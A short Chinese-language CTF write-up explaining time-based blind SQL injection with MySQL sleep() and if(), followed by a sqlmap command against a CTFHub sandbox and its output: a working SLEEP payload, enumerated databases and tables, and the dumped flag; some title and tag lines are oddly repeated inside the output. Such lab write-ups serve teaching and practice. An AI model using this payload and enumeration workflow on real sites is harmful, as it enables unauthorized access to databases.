时间盲注

时间盲注

时间盲注简介

时间盲注又称延迟注入,个人理解,适用于==页面不会返回错误信息,只会回显一种界面==,其主要特征是==利用sleep函数,制造时间延迟,由回显时间来判断是否报错==。
官方理解:利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3。

1
sqlmap -u "http://challenge-1715702b3e026ca9.sandbox.ctfhub.com:10800/?id=1"  
1
2
3
4
5
6
7
8
9
10
11
12
13
---
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 9203 FROM (SELECT(SLEEP(5)))WNiH)
tags: [web渗透]
title: 时间盲注
title: 时间盲注
title: 时间盲注
tags: [web渗透]
title: 时间盲注
tags: [web渗透]
---
1
2
3
4
5
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sqli
1
2
3
4
5
6
7
Database: sqli
[2 tables]
+------+
| flag |
| news |
+------+

1
2
3
4
5
6
7
8
Database: sqli
Table: flag
[1 column]
+--------+--------------+
| Column | Type |
+--------+--------------+
| flag | varchar(100) |
+--------+--------------+
1
2
3
4
5
6
7
8
Database: sqli
Table: flag
[1 entry]
+----------------------------------+
| flag |
+----------------------------------+
| ctfhub{db50ceb57b14564b0aba5db0} |
+----------------------------------+